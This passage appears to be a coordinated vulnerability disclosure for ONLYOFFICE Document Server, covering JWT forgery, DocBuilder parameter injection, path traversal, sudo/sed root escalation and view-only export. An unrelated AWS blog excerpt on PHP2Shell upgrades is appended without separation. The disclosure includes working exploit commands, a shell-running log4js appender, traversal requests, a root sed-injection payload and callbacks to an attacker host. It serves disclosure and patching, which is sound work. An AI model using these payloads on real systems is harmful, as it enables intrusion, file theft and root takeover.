The attacker submits a normal SAVE_TYPE_PART_START request using the forged JWT and an attacker-chosen document key. DocumentServer returns a server-generated save key, proving that it accepts the forged credential and its ungranted document permissions.

PoC

The file-read and JWT-forgery PoC uses a view-only Editor JWT to read /etc/passwd, steal the Session JWT signing key and verify a forged token for an attacker-chosen document key:

python3 pocs/editor_token_docbuilder_jwt_forgery.py \
  --documentserver https://docs.example.test \
  --token-file /secure/view-only.jwt \
  --read-file /etc/passwd \
  --read-output /tmp/stolen-passwd \
  --document-key external-document-20260821 \
  --output-token /tmp/forged-session.jwt \
  --timeout 180

Output excerpt:

[+] read 1220 bytes from /etc/passwd to /tmp/stolen-passwd
[+] forged session JWT accepted for document key: external-document-20260821 (save key _7717)
[+] forged JWT written to: /tmp/forged-session.jwt
[+] forged JWT (expires at Unix time 1787329593):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkb2N1bWVudCI6eyJrZXkiOiJleHRlcm5hbC1kb2N1bWVudC0yMDI2MDgyMSIsInBlcm1pc3Npb25zIjp7ImRvd25sb2FkIjp0cnVlLCJwcmludCI6dHJ1ZX19LCJlZGl0b3JDb25maWciOnsidXNlciI6eyJpZCI6InJhcGlkNy1wb2MiLCJpbmRleCI6MX19LCJpYXQiOjE3ODczMjkyOTMsImV4cCI6MTc4NzMyOTU5M30.VlXcl09_669zHtwiJFZDLFRtQbi_HTt7zncmPYUHLww

The file recovered to the attacker’s machine contained the target’s account data:

$ head -n 5 /tmp/stolen-passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

The JWT printed above was signed with the key recovered from local.json. DocumentServer accepted that signature during the normal save-key reservation:

{"status":"ok","data":"_7717"}

Impact

The attacker can steal any file readable by ds. On the tested system, this included the Session JWT signing key, allowing the attacker to create credentials with document keys and permissions that were never granted to the original viewer. DocumentServer accepted the forged JWT for a save operation under a new document key. The demonstrated unauthorized save accounts for the low integrity impact in the 7.1 High score.

The same editor-JWT authorization failure also allowed a view-only user to supply a private-network URL to Api.CreateImage(). DocumentServer fetched the URL and returned a decodable image inside a generated DOCX. This narrower consequence shares the authorization root cause above and is not treated as a separate finding.

Fix

In 10.0.0-169, builderRequest() now tells the token validator that this is a DocBuilder request:

-const authRes = yield docsCoServer.getRequestParams(ctx, req);
+authRes = yield docsCoServer.getRequestParams(ctx, req, constants.JWT_PURPOSE_DOCBUILDER);

With the default settings, the new check rejects tokens containing document-opening fields such as editorConfig and WOPI fileInfo, even if their signatures are valid. This blocks reuse of a view-only Editor JWT at /docbuilder, as confirmed in the 10.0.0-169 test.

The native file-read code also checks supplied paths against the font map in server mode. An unknown path falls back to the default font rather than being read as the requested file.

DocBuilder conversion parameter injection enables code execution (CVE-2026-110385)

A DocBuilder script can replace the source path, destination path, and formats chosen by DocumentServer, extracting attacker-controlled files into any existing directory writable by ds. In the tested release, extracting a log4js appender and runtime configuration into the Data directory causes DocService to load and execute attacker code without a restart.

Technical analysis

Prerequisite: The attacker needs a request accepted by /docbuilder. The destination directory must already exist and be writable by ds. Immediate process execution additionally requires a writable directory containing a runtime configuration watched by DocService; the default Data directory in the tested official image met this condition.

The DocBuilder text-script dispatcher in CDocBuilder::RunTextA() forwards the optional third builder.SaveFile() argument without restricting it to supported conversion options:

const wchar_t* sParams = NULL;
if (nCountParameters > 2)
    sParams = _builder_params[2].c_str(); // [0] Caller-supplied XML

// [1] Forward conversion parameters
int nSaveError = this->SaveFile(nFormat, _builder_params[1].c_str(), sParams);

The third argument at [0] reaches the private save implementation unchanged at [1].

CDocBuilder_Private::SaveFile() XML-encodes its own source and destination paths, but then appends the attacker string as raw XML:

oBuilder.WriteString(L"<?xml version=\"1.0\" 
encoding=\"utf-8\"?><TaskQueueDataConvert><m_sFileFrom>");
oBuilder.WriteEncodeXmlString(m_sFileDir); // [2] Encode source path
oBuilder.WriteString(sFileBin + L"</m_sFileFrom><m_sFileTo>");
oBuilder.WriteEncodeXmlString(_path); // [3] Encode destination path
oBuilder.WriteString(L"</m_sFileTo><m_nFormatTo>");
oBuilder.WriteString(std::to_wstring(type));

// ... remaining server-generated fields omitted ...

if (!sConvertionParams.empty())
{
    oBuilder.WriteString(sConvertionParams); // [4] Append raw XML
}

The paths at [2] and [3] are XML-encoded, but the raw XML appended at [4] can introduce duplicate task fields after the server-generated values.

X2T’s InputParams parser processes elements sequentially and replaces an existing value whenever the same name appears again:

else if (_T("m_sFileFrom") == sName)
{
    RELEASEOBJECT(m_sFileFrom);
    m_sFileFrom = new std::wstring(sValue); // [5] Replace source path
}
else if (_T("m_sFileTo") == sName)
{
    RELEASEOBJECT(m_sFileTo);
    m_sFileTo = new std::wstring(sValue); // [6] Replace destination path
}
else if (_T("m_nFormatFrom") == sName)
{
    RELEASEOBJECT(m_nFormatFrom);
    m_nFormatFrom = new int(XmlUtils::GetInteger(sValue)); // [7] Replace source format
}
else if (_T("m_nFormatTo") == sName)
{
    RELEASEOBJECT(m_nFormatTo);
    m_nFormatTo = new int(XmlUtils::GetInteger(sValue)); // [8] Replace destination format
}

Assignments [5]–[8] let later XML elements replace the server-selected paths and formats. getConversionDirection() maps source format 2057 (AVS_OFFICESTUDIO_FILE_OTHER_ZIP) and destination format 0 (AVS_OFFICESTUDIO_FILE_UNKNOWN) to the directory-extraction operation:

else if (AVS_OFFICESTUDIO_FILE_OTHER_ZIP == nFormatFrom &&
         AVS_OFFICESTUDIO_FILE_UNKNOWN == nFormatTo)
    eRes = TCD_UNZIPDIR; // [9] Directory extraction mode

The extraction mode selected at [9] reaches x2t()’s conversion dispatcher, which uses both attacker-selected paths without containment validation:

case TCD_UNZIPDIR:
{
    result = zip2dir(sFileFrom, sFileTo); // [10] Extract archive
}
break;

zip2dir() at [10] reads the attacker-selected archive and extracts it into the selected directory writable by ds.

Writing DocService’s runtime configuration provides a route from this file write to code execution. runtimeConfigManager watches the configuration directory and automatically reloads runtime.json when it is created or changed, passing its attacker-controlled log options to the logger:

getConfig(operationContext.global)
  .then(config => {
    logger.configureLogger(config?.log?.options); // [11] Reload logging options
})

Those options reach configureLogger() at [11]; the function merges them with the cached configuration before calling log4js:

function configureLogger(options) {
const mergedOptions = config.util.extendDeep({}, cachedLogConfig, options);
  log4js.configure(mergedOptions); // [12] Apply log4js configuration
}

The configuration applied at [12] sets the appender type to the extracted JavaScript module’s absolute path. The log4js 6.9.1 appender loader passes non-core types to require(), executing that module in DocService.

Exploitation

Preparing the payload files

To run id, the inner ZIP named r7-NONCE.zip contains r7-appender-NONCE.js:

require("child_process").execFile(
  "/bin/sh", ["/var/www/onlyoffice/Data/r7-command-NONCE.sh"]
);
exports.configure = () => () => {};

r7-command-NONCE.sh:

#!/bin/sh
id > /tmp/r7-command-NONCE 2>&1

The shell script is a PoC convenience: execFile() also supports /bin/sh with [“-c”, “id > /tmp/r7-command-NONCE 2>&1”]. Keeping the command in a file lets the root-helper chain reuse it without embedding the command body in the sed expression.

And runtime.json:

{"log":{"options":{"appenders":{"default":{"type":"/var/www/onlyoffice/Data/r7-appender-NONCE.js"}},"categories":{"default":{"appenders":["default"],"level":"WARN"}}}}}

The attacker places that inner ZIP inside a second ZIP and base64-encodes the outer ZIP.

Staging the inner ZIP

The attacker submits the outer ZIP in a /docbuilder script. native.SetFilePath() selects /tmp as the native ZIP worker directory, and native.ZipOpenBase64() extracts the inner ZIP as /tmp/nativeZip/r7-NONCE.zip:

builder.CreateFile("docx");
native.SetFilePath("/tmp/r7-NONCE-placeholder");
native.ZipOpenBase64("BASE64_OUTER_ZIP_CONTAINING_r7-NONCE.zip");

Extracting outside the job directory

The same request calls builder.SaveFile() with duplicate X2T task fields appended as conversion parameters:

builder.SaveFile(
  "docx",
  "safe.docx",
  "<m_sFileFrom>/tmp/nativeZip/r7-NONCE.zip</m_sFileFrom>" +
  "<m_sFileTo>/var/www/onlyoffice/Data</m_sFileTo>" +
  "<m_nFormatFrom>2057</m_nFormatFrom><m_nFormatTo>0</m_nFormatTo>"
);
builder.CloseFile();

DocumentServer accepts the request and extracts all three files with attacker-controlled names and bytes into /var/www/onlyoffice/Data as ds. Writing runtime.json triggers the watcher, which loads r7-appender-NONCE.js and executes the command in DocService as ds without a restart.

PoC

Run the DocBuilder PoC with a view-only Editor JWT. The example uses –runtime-absent because the tested installation had no runtime.json:

python3 pocs/docbuilder_savefile_params_rce.py \
  --documentserver https://docs.example.test \
  --token-file /secure/view-only.jwt \
  --command id \
  --runtime-absent

Output:

uid=101(ds) gid=102(ds) groups=102(ds)

Impact

On the tested release, a user restricted to viewing any document can write files anywhere writable by ds and immediately execute arbitrary JavaScript in DocService. CVE-2026-110385 has a published CVSS v4.0 score of 8.7 High.

Fix

The 10.0.0-169 SaveFile() implementation filters the supplied conversion parameters before adding them to the X2T task:

-sConvertionParams = std::wstring(params);
+sConvertionParams = RemoveUnsafeX2tParams(std::wstring(params));

RemoveUnsafeX2tParams() parses the supplied XML and removes m_sFileFrom, m_sFileTo and m_sTempDir. The submitted payload depends on overriding the first two fields to select its archive and extraction destination. Other conversion parameters remain supported.

Complete-save format traversal enables arbitrary file write (CVE-2026-97727)

An attacker with a valid save session can place path traversal path segments in the requested output format and create or overwrite any file writable by ds on installations using filesystem storage. This file write also enables remote code execution as ds through DocService’s runtime logging configuration.

Technical analysis

Prerequisite: The attacker needs a valid document Session JWT. The installation must use filesystem storage, and the destination must be writable by ds. No victim interaction is required.

The Session-token branch of downloadAs() checks save permissions after validating the signature:

const doc = checkJwtRes.decoded.document;
// [0] Save permission check
if (!doc.permissions || false !== doc.permissions.download || false !== doc.permissions.print) {
  isValidJwt = true;
  // ... document and user binding omitted ...
} else {
  ctx.logger.warn('Error downloadAs jwt: %s', 'access deny');
}

At [0], the save is denied only when both download and print are explicitly false. An absent permissions object or either absent flag passes this check.

commandSave() appends the request’s format directly to the filename prefix:

const format = cmd.getFormat() || 'bin';
const completeParts = yield* saveParts(ctx, cmd, 'Editor.' + format); // [1] Requested format suffix

The suffix at [1] reaches saveParts() unchanged. That function normalizes the filename only for save types other than SAVE_TYPE_COMPLETE_ALL:

if (SAVE_TYPE_COMPLETE_ALL !== saveType) { // [2] Conditional filename normalization
  const ext = pathModule.extname(filename);
  const saveIndex = parseInt(cmd.getSaveIndex()) || 1; //prevent path traversal
  filename = pathModule.basename(filename, ext) + saveIndex + ext;
}
// ... save-key setup omitted ...
const buffer = cmd.getData();
// [3] Storage write
yield storage.putObject(ctx, cmd.getDocId() + cmd.getSaveKey() + '/' + filename, buffer, buffer.length);

For SAVE_TYPE_COMPLETE_ALL, the condition at [2] skips basename normalization, and [3] writes the resulting path. The filesystem backend joins and writes that path without checking that it remains beneath the document root.

Exploitation

The cmd query parameter on /downloadas/ignored contains URL-encoded JSON. The request fragments below show that JSON decoded separately for readability.

Reserving a save key

The attacker first sends a normal SAVE_TYPE_PART_START request with their valid Session JWT:

POST /downloadas/ignored?cmd=URL_ENCODED_COMMAND HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

reservation

The decoded cmd value in that request is:

{
  "c": "save",
  "id": "ignored",
  "tokenSession": "DOCUMENT_SESSION_JWT",
  "saveindex": 1,
  "outputformat": 513,
  "withoutPassword": true,
  "format": "bin",
  "savetype": 0
}

DocumentServer returns a server-generated continuation key:

{"status":"ok","data":"_5619"}

Writing outside the document directory

The attacker sends a second request using that key and SAVE_TYPE_COMPLETE_ALL. Its body contains the bytes to write, while format contains enough parent-directory components to reach the chosen absolute path:

POST /downloadas/ignored?cmd=URL_ENCODED_COMMAND HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

ATTACKER_CONTROLLED_FILE_BYTES

The decoded cmd value in the second request is:

{
  "c": "save",
  "id": "ignored",
  "tokenSession": "DOCUMENT_SESSION_JWT",
  "saveindex": 1,
  "outputformat": 513,
  "withoutPassword": true,
  "savekey": "_5619",
  "format": "/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/onlyoffice/rapid7-write.txt",
  "savetype": 3
}

DocumentServer returns the same continuation key, confirming that it accepted the complete save:

{"status":"ok","data":"_5619"}

Because SAVE_TYPE_COMPLETE_ALL skips basename normalization, the filesystem backend resolves the traversal and writes the request body to /etc/onlyoffice/rapid7-write.txt as ds.

PoC

The format-traversal PoC uses a Session JWT to create /etc/onlyoffice/rapid7-write.txt:

python3 pocs/downloadas_format_traversal.py \
  --documentserver https://docs.example.test \
  --token-file /secure/document-session.jwt \
  --target-path /etc/onlyoffice/rapid7-write.txt \
  --data 'attacker-controlled configuration write'

Output:

[*] requesting a server-generated save key
[+] reserved save key _5619
[+] traversal request accepted for /etc/onlyoffice/rapid7-write.txt

The new file contained the supplied data:

$ cat /etc/onlyoffice/rapid7-write.txt
attacker-controlled configuration write

Testing created a new file rather than overwriting the running configuration. A permission audit found active local.json and default.json files in the same configuration tree writable by ds.

Impact

The attacker can create or overwrite any file writable by ds. The demonstrated chain uses CVE-2026-113627 to forge a Session JWT, then CVE-2026-97727 to write a JavaScript appender, command script and runtime.json into /var/www/onlyoffice/Data. DocService loads the appender and executes the command as ds. The file-write primitive scores 6.5 Medium.

Fix

Unlike the 9.4.0-129 implementation, the shared getStoragePath() in 10.0.0-169 checks the normalized object key before handing it to a storage backend:

-return opt_specialDir + '/' + tenantManager.getTenantPathPrefix(ctx) + strPath.replace(/\\/g, '/');
+const storagePath = opt_specialDir + '/' + tenantManager.getTenantPathPrefix(ctx) + strPath.replace(/\\/g, '/');
+const normalized = path.posix.normalize(storagePath);
+if (normalized !== opt_specialDir && !normalized.startsWith(opt_specialDir + '/')) {
+  throw new Error('getStoragePath: path escapes storage root');
+}
+return storagePath;

The check rejects a key that resolves outside the designated storage directory. commandSave() still constructs a filename from format; the new boundary is in the shared storage layer. In the 10.0.0-169 test, a genuine Session JWT reserved a normal save key, but the traversal request returned HTTP 400 and the target file was absent.

Passwordless maintenance command elevates ds to root (CVE-2026-113630)

The installed sudo policy lets ds run documentserver-flush-cache.sh as root with unrestricted arguments. The script embeds its –hash argument into a GNU sed expression, allowing code running as ds to execute arbitrary commands as root.

Technical analysis

Prerequisite: The attacker needs local command execution as ds.

The documentserver sudoers file grants ds passwordless root execution of three scripts with unrestricted arguments:

Cmnd_Alias DS_ROOT_SCRIPTS = \
  /usr/bin/documentserver-letsencrypt.sh *, \
  /usr/bin/documentserver-generate-allfonts.sh *, \
  /usr/bin/documentserver-flush-cache.sh *  # [0] Unrestricted helper arguments

ds ALL=(root) NOPASSWD: DS_ROOT_SCRIPTS  # [1] Passwordless root execution

At [0], the * permits ds to choose every argument supplied to documentserver-flush-cache.sh. At [1], sudo executes that script as root without asking for a password.

documentserver-flush-cache.sh assigns the complete –hash argument to HASH and interpolates it directly into a sed program:

while [ "$1" != "" ]; do
  case $1 in
    -h | --hash )
      if [ "$2" != "" ]; then
        HASH=$2  # [2] Unchecked hash argument
        shift
      fi
    ;;
    # ... restart option omitted ...
  esac
  shift
done
API_PATH="/var/www/M4_DS_PREFIX/web-apps/apps/api/documents/api.js"
cp -f ${API_PATH}.tpl ${API_PATH}
sed -i "s/{{HASH_POSTFIX}}/${HASH}/g" ${API_PATH}  # [3] Sed interpolation

At [2], the script applies no character allowlist or length constraint. At [3], the attacker controls sed replacement text, delimiters, flags, and additional commands in the sed program. Because sudo has already changed the effective UID, GNU sed and every command reached through its e flag run as root.

The packaged api.js.tpl contains a matching line:

const ver = '/9.4.0-{{HASH_POSTFIX}}'; // [4] Sed match target

The attacker supplies this –hash value:

';id > \/tmp\/r7-root;#'/e;#

The interpolation at [3] produces this sed expression:

s/{{HASH_POSTFIX}}/';id > \/tmp\/r7-root;#'/e;#/g

The injected / ends the replacement early, making e a shell-execution flag. The final ;# comments out the helper’s appended /g.

After substitution, the template line at [4] becomes:

const ver = '/9.4.0-';id > /tmp/r7-root;#'';

The e flag sends this whole line to /bin/sh. The shell tries to run const, which fails, but the semicolon still starts id. Its output is written to /tmp/r7-root, and # comments out the trailing quotes. Because sudo launched the helper as root, id also runs as root.

Exploitation

From a process running as ds, the attacker supplies a sed expression that terminates the intended replacement, executes a command, and comments out the rest.

For the view-only remote chain, the SaveFile stage writes a command script into /var/www/onlyoffice/Data. The loaded appender invokes /usr/bin/sudo with an argument array, placing /bin/sh /var/www/onlyoffice/Data/r7-command-NONCE.sh in the same sed payload. The helper executes that script as root, and the PoC makes additional /docbuilder requests to read its output.

PoC

Run the helper as ds, then read the result:

sudo /usr/bin/documentserver-flush-cache.sh \
    --hash "';id > \/tmp\/r7-root;#'/e;#" \
    --restart false
cat /tmp/r7-root
uid=0(root) gid=0(root) groups=0(root)

The DocBuilder chain invokes this helper remotely through the SaveFile finding.

Impact

An attacker who compromises DocumentServer’s ds process can cross the operating-system privilege boundary and execute as root inside the official container. This scores 7.8 High. The tested container lacked a Docker socket, and ds had no effective Linux capabilities.

Fix

The 10.0.0-169 cache-flush script validates HASH before inserting it into the sed expression:

+case "$HASH" in
+    '') ;;
+    *[!A-Za-z0-9._-]*)
+        echo "documentserver-flush-cache: invalid --hash value '${HASH}': only [A-Za-z0-9._-] characters are allowed" >&2
+        exit 1
+        ;;
+esac

The new check rejects characters needed for the sed injection, including /, ; and ‘. The helper was also renamed to documentserver-flush-cache; the 10.0 sudoers file still allows ds to run it as root without a password.

View-only sendForm exports non-rendered document data (CVE-2026-113631)

A viewer can reconnect with a valid Session JWT while replacing the callback URL from the signed opening configuration. Because sendForm remains available in view mode, DocumentServer reconstructs the document and sends it to the attacker even when download and form-filling are disabled.

Technical analysis

Prerequisite: The attacker must be authorized to view the target DOCX and connect normally once to receive its Session JWT. DocumentServer must be able to reach the attacker’s replacement callback. To disclose more than the viewer displays, the document must contain non-rendered data. No edit, download, copy, print, or form-filling permission is required.

A view-only editor connection receives a server-issued Session JWT for reconnection. fillJwtByConnection() constructs its payload as follows:

const edit = payload.editorConfig;
//todo
//edit.callbackUrl = callbackUrl; // [0] Callback assignment disabled

// ... remaining session fields omitted ...

return yield signToken(ctx, payload, tenTokenSessionAlgorithm, tenTokenSessionExpires / 1000, commonDefines.c_oAscSecretType.Session);

The commented-out assignment at [0] leaves the original callback URL out of the signed reconnect state. A reconnecting viewer can replace it; after host filtering, DocumentServer stores the replacement as that viewer’s callback.

Message authorization and dispatch in DocsCoServer.js include:

// [1] Restricted viewer messages
if (
  (conn.isCloseCoAuthoring || (conn.user && conn.user.view)) &&
  ('getLock' == data.type || 'saveChanges' == data.type || 'isSaveLock' == data.type)
) {
  // ... denial omitted ...
}
// ... other message types omitted ...
case 'rpc':
  yield* startRPC(ctx, conn, data.responseKey, data.data); // [2] RPC dispatch
  break;

The view-mode restriction at [1] omits rpc, allowing dispatch to startRPC() at [2]. The sendForm branch checks only that conn.user exists; it does not require edit, download, print, form-filling, or export permission. commandSfcCallback() then sends the reconstructed document to the viewer’s replacement callback

The callback request also bypasses the normal private-address filter under the tested defaults. sendServerRequest() marks the URL as JWT-trusted whenever Inbox JWT validation is enabled, even though the replacement URL was not signed. The HTTP request helper consequently permits a direct request without the private-address filter.

Exploitation

oo_disc_1.png

Figure 1: View-only document export through a replaced callback.

Obtaining a session JWT

The attacker opens the target DOCX normally with their view-only Editor JWT. The relevant fields in the Socket.IO authentication message retain mode=view and download=false:

{
  "type": "auth",
  "docid": "TARGET_DOCUMENT_KEY",
  "documentCallbackUrl": "SIGNED_INTEGRATOR_CALLBACK",
  "mode": "view",
  "permissions": {
    "download": false
  },
  "jwtOpen": "VIEW_ONLY_EDITOR_JWT",
  "jwtSession": null
}

DocumentServer accepts the view-only connection and returns a server-issued Session JWT in its auth message.

Replacing the callback

The attacker opens a second Socket.IO connection and authenticates with that Session JWT, but substitutes their own URL for documentCallbackUrl. The relevant changed fields are:

{
  "type": "auth",
  "docid": "TARGET_DOCUMENT_KEY",
  "documentCallbackUrl": "https://attacker.example.test/operator-callback",
  "mode": "view",
  "jwtOpen": null,
  "jwtSession": "SERVER_SESSION_JWT"
}

The session remains view-only, but DocumentServer stores the attacker’s callback because the Session JWT does not bind the original callback URL. The attacker controls its host, port, path and query string.

Forcing document export

Over the reconnected socket, the attacker invokes sendForm directly:

{
  "type": "rpc",
  "responseKey": "ATTACKER_RESPONSE_KEY",
  "data": {
    "type": "sendForm",
    "formdata": {
      "formsdata": []
    }
  }
}

The server returns RPC code 0, reconstructs a DOCX, and sends a status 6 callback containing its download URL to the attacker:

{
  "key": "TARGET_DOCUMENT_KEY",
  "status": 6,
  "url": "DOCUMENTSERVER_OUTPUT_URL"
}

The attacker downloads that URL. Rapid7 demonstrated the attack with edit, download, print, review, comment, fillForms, copy, and chat set to false. The exported DOCX retained content that the viewer had not displayed:

DOCX part

Content available to the attacker

customXml/item1.xml

Custom XML stored alongside the document body

docProps/custom.xml

Custom document-property values

word/document.xml

A field’s instruction text (w:instrText), separate from its displayed result

DocumentServer regenerates the DOCX during export.

oo_disc_2.png

Figure 2: Restricted document view.

oo_disc_3.png

Figure 3: Hidden data exposed by the export.

PoC

The viewer-export PoC opens the document, replaces the callback and downloads the export. This example uses an HTTPS reverse proxy that terminates TLS on port 443 and forwards the /operator-callback/ subtree to the PoC’s HTTP listener on port 18085, preserving the generated per-run path suffix.

python3 pocs/viewer_sendform_download_bypass.py \
  --documentserver https://docs.example.test \
  --token-file /secure/restrictive-view.jwt \
  --callback-url https://attacker.example.test/operator-callback \
  --listen-port 18085 \
  --output reconstructed.docx

Output:

[*] opening document with the view-only token
[+] view-only session established; server session JWT received
[*] reconnecting with the attacker callback
[+] replacement callback accepted for the view-only session
[*] invoking rpc/sendForm
[+] attacker callback received status 6
[+] saved 27306 bytes to reconstructed.docx
[+] view-only document export reproduced

Impact

A user denied download can recover a reconstructed DOCX retaining data that the viewer never displayed, potentially including confidential metadata and OOXML content. This scores 6.5 Medium.

Callback replacement also enables blind HTTP POST SSRF. Rapid7 confirmed delivery to a controlled RFC1918 destination. The source also permits loopback destinations under these defaults; in Docker, localhost refers to the DocumentServer container. DocumentServer sends its JSON status callback, and the viewer cannot read the target’s response body.

Fix

The 10.0.0-169 sendForm branch checks the user’s role before starting the force-save:

-if (conn.user) {
+if (canStartForceSave(conn)) {

canStartForceSave() requires an existing user whose view flag is false. On a Session JWT reconnect, the authentication flow also retrieves the stored callback for the user index instead of accepting the reconnecting client’s callback value.

In the 10.0.0-169 check, the view-only session opened, but sendForm was rejected and no exported file was saved.

Exploit chains

Two routes to container root share the DocBuilder authorization failure and root helper; their file-write stages differ. Both the direct DocBuilder chain and the file-read and traversal chain were demonstrated with a view-only Editor JWT and through the conditional WOPI entry below.

oo_disc_4.png

Figure 4: Two file-write routes converge on command execution as ds and container root.

Unauthenticated WOPI entry

WOPI (Web Application Open Platform Interface) is a protocol for opening files from external storage in an online editor. WOPI must be enabled, which is not the default. DocumentServer must be able to reach the attacker-controlled source, and its address must pass the configured WOPI IP filter.

The attacker submits a WOPISrc ending in / and an empty access token to the public launch endpoint. The launch logic in wopiClient.js contacts that source for editable document metadata and signs a Browser JWT:

const access_token = req.body['access_token'] || ''; // [0] Empty token default

// WOPI metadata is requested from the attacker-controlled source.

const secret = yield tenantManager.getTenantSecret(ctx, commonDefines.c_oAscSecretType.Browser);
params.token = jwt.sign(params, utils.getJwtHsKey(secret), options); // [1] Sign Browser JWT

With an empty access token at [0], DocumentServer trusts the returned metadata and issues a signed Browser JWT at [1]. The token’s document key comes from createDocId(), which takes the final URL segment:

const fileId = wopiSrc.substring(wopiSrc.lastIndexOf('/') + 1); // [2] URL file identifier
let docId = undefined;
if ('view' !== mode) {
  docId = `${fileId}`; // [3] Editable document key
}

The trailing slash makes fileId at [2] empty, which becomes the signed document key at [3]. Because Browser and Inbox tokens use the same signing key, /docbuilder accepts this WOPI Browser JWT as authorization. The empty key also selects the new-job branch in builderRequest():

let docId = params.key;
// ... request setup omitted ...
const needCreateId = !docId; // [4] Empty-key job creation
// ... request validation omitted ...
if (needCreateId) {
  const task = yield* taskResult.addRandomKeyTask(ctx, undefined, 'bld_', 8); // [5] Allocate job key
  docId = task.key;
  // ... context setup omitted ...
}
// ... script body stored under the new job key ...
if (needCreateId) {
  // ... queue-data setup omitted ...
  yield* docsCoServer.addTask(queueData, constants.QUEUE_PRIORITY_LOW); // [6] Queue DocBuilder script
}

The empty key enables job creation at [4]; [5] allocates a fresh key and [6] queues the posted script for execution. This provides an unauthenticated entry into the DocBuilder findings.

DocBuilder chain

  1. Authorization: The /docbuilder authorization failure documented in Editor JWT Authorizes Native File Reads and Session JWT Forgery accepts the view-only Editor JWT instead of requiring a DocBuilder-specific token.

  2. Code execution: DocBuilder Conversion Parameter Injection Enables Code Execution makes X2T extract an attacker appender, command script, and runtime configuration outside the job directory. DocService loads the appender as ds.

  3. Root execution: The appender invokes Passwordless Maintenance Command Elevates ds to Root, and the passwordless helper executes the supplied command as root.

The DocBuilder PoC runs this chain with a view-only Editor JWT:

python3 pocs/docbuilder_savefile_params_rce.py \
  --documentserver https://docs.example.test \
  --token-file /secure/view-only.jwt \
  --root \
  --command whoami \
  --runtime-absent

Output:

root

One malicious /docbuilder request triggers container-root execution. The PoC then makes additional /docbuilder requests to retrieve the command output.

The direct SaveFile route also executed a command as root using a WOPI-issued Browser JWT, under the enablement, filter and reachability conditions above.

File-read and traversal chain

This path adds token forgery and a separate file-write stage:

  1. File read and token forgery: Editor JWT Authorizes Native File Reads and Session JWT Forgery uses the accepted editor or WOPI Browser JWT to read the session signing key and forge a save JWT.

  2. Code execution: Complete-Save Format Traversal Enables Arbitrary File Write uses that credential to install the appender, command script, and runtime configuration. DocService loads the appender as ds.

  3. Root execution: The appender invokes Passwordless Maintenance Command Elevates ds to Root, which executes the supplied command as root.

The Editor-token PoC’s –command mode installs the three execution files and invokes the root helper. It completed this chain from view-only access, returning uid=0(root).

The WOPI PoC performs this chain without a pre-existing JWT. It writes runtime.json last to trigger loading after the appender and command script are in place:

python3 pocs/wopi_docbuilder_jwt_forgery.py \
  --documentserver https://docs.example.test \
  --public-wopi-src http://attacker.example.test:18084/document/ \
  --command whoami \
  --runtime-absent

Output:

root

Under the WOPI conditions above, this chain requires no pre-existing DocumentServer account or token.

Remediation

Upgrade ONLYOFFICE Document Server to the latest supported release, version 10.0 or later. ONLYOFFICE confirmed that version 10.0 addresses all five findings. See the 10.0.0 security release notes and the vendor’s Community Edition Docker update instructions.

Disclosure timeline

  • August 28, 2026: Rapid7 contacted ONLYOFFICE to report the five vulnerabilities under its coordinated disclosure policy.

  • September 15–17, 2026: ONLYOFFICE acknowledged review of the reports and requested additional time to address the findings in an upcoming release.

  • October 23, 2026: ONLYOFFICE confirmed that all five findings were fixed in Document Server 10.0. Rapid7 and ONLYOFFICE agreed on November 16 for public disclosure, allowing users time to update.

  • November 16, 2026: Rapid7 publishes this analysis and the accompanying PoCs.

PHP2Shell: Using AWS Transform to move legacy PHP onto a patched runtime

Post Syndicated from Armando Barrales original https://aws.amazon.com/blogs/devops/php2shell-using-aws-transform-to-move-legacy-php-onto-a-patched-runtime/

On October 21, 2026, the PHP project fixed two critical vulnerabilities in the PHP engine, CVE-2026-109618 and CVE-2026-109619, which are known together as PHP2Shell. Both vulnerabilities have a Common Vulnerability Scoring System (CVSS) v4.0 score of 9.2 because either one can let an unauthenticated caller run code on any server that handles PHP requests. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has since added both of them to its Known Exploited Vulnerabilities catalog.

These vulnerabilities don’t affect AWS services, but they can affect workloads running on AWS that serve PHP. The potential exposure is significant because PHP remains widely used across websites, with many sites still running PHP 8.1 or older versions.

If you run PHP 8.1 or older, you cannot patch PHP2Shell in place because no PHP release fixes those branches. Moving to a supported version isn’t always straightforward either, because legacy code often breaks on newer PHP releases. As a result, upgrading the code becomes the real blocker to patching the runtime.

With AWS Transform continuous modernization, you can remove that blocker by finding legacy PHP across your repositories and upgrading to PHP 8.4 or 8.5. AWS Transform analyzes your repositories on a schedule and flags end-of-life runtimes and other technical debt before they become urgent.

In this post, you learn how to use AWS Transform to find and upgrade legacy PHP, confirm that the upgrade was validated on a patched PHP runtime, and then patch and restart the runtime to remediate the vulnerabilities.

This post focuses on moving your code onto a patched runtime. For detection and mitigation guidance, refer to the AWS WAF post and the community checklist Find It, Patch It, Watch It. Compromise assessment is out of scope, so if a system was exposed while it was unpatched, investigate it separately and rotate any credentials the application could read.

Understand the PHP2Shell vulnerabilities

Before you start the upgrade, review which PHP releases are affected and which releases contain the fix, because this determines whether you only need to patch the runtime or whether you must also upgrade your code. The GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp advisories describe the two vulnerabilities, and the following table summarizes the affected and fixed releases.

PHP branch Affected First fixed
8.5 8.5.0 to 8.5.11 8.5.12
8.4 8.4.0 to 8.4.26 8.4.27
8.3 8.3.0 to 8.3.35 8.3.36
8.2 8.2.0 to 8.2.34 8.2.35
5.4 to 8.1 all No release fixes these branches. Migrate to 8.4 or 8.5

Source: AWS Security Bulletin 2026-143-AWS. The bulletin recommends that you migrate to a supported branch, and this post recommends PHP 8.4 or 8.5 based on their support dates on the PHP supported versions page. Amazon Threat Intelligence identified an exploitation attempt on October 17, 2026, four days before the fixes were released. It has reported broad exploitation attempts since then. The disclosure date isn’t necessarily the earliest date of exploitation. The report advises you to start your investigation no later than October 17, 2026.

Your next action depends on the PHP branch that you run. The following table shows what to do for each branch.

You run What to do
PHP 8.2, 8.3, 8.4, or 8.5 These versions are vulnerable until you patch to 8.2.35, 8.3.36, 8.4.27, or 8.5.12. Your code doesn’t need to change. Patch the runtime and restart all running workers.
